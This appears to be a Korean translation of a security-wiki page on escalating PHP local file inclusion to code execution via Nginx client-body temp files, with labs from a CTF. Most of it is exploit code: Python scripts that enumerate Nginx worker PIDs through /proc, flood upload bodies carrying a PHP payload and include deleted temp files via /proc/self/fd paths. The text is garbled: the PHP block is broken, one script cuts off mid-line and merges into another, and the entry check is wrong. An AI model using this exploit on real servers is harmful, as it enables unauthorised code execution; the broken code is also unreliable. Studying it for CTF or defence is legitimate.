LFI2RCE via Nginx temp files

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WhiteIntel

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WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

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WhiteIntel

취약한 구성

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/에서의 예시

PHP 코드:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 참고: PHP의 `include` 함수는 경로를 `/var/lib/nginx/body/0000001368 (deleted)`로 해석하므로 이 예시에서 `/proc/34/fd/15`를 직접 포함할 수 없습니다. 이러한 작은 제한은 다행히 `/proc/self/fd/34/../../../34/fd/15`와 같은 간접 방법으로 우회할 수 있습니다. 이렇게 하면 최종적으로 삭제된 `/var/lib/nginx/body/0000001368` 파일의 내용이 실행됩니다. ## 전체 악용 ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # 모든 CPU를 사용하여 Nginx에 페이로드를 요청 본문으로 보냄 for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # 이 메서드는 무작위 개수의 ProcFS 경로 구성 요소로 경로를 생성합니다. 생성된 경로는 /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root와 같이 보입니다 path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다. if "hxp" in d: print("플래그 발견! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # 루프에서 10에서 45 사이의 Nginx FD를 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 요청 본문 FD가 이 범위 내에서 열리는 것은 매우 일반적합니다 for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if __name__ == "main": print('[DEBUG] 요청 세션 생성 중') requests_session = create_requests_session() print('[DEBUG] Nginx PID 가져오는 중') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx PIDs: {nginx_pids}') print('[DEBUG] 페이로드 전송 시작 중') send_payload_multiprocess(requests_session) print('[DEBUG] FD 리더 시작 중') read_file_multiprocess(requests_session, nginx_pids)


## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

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<details>

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</details>

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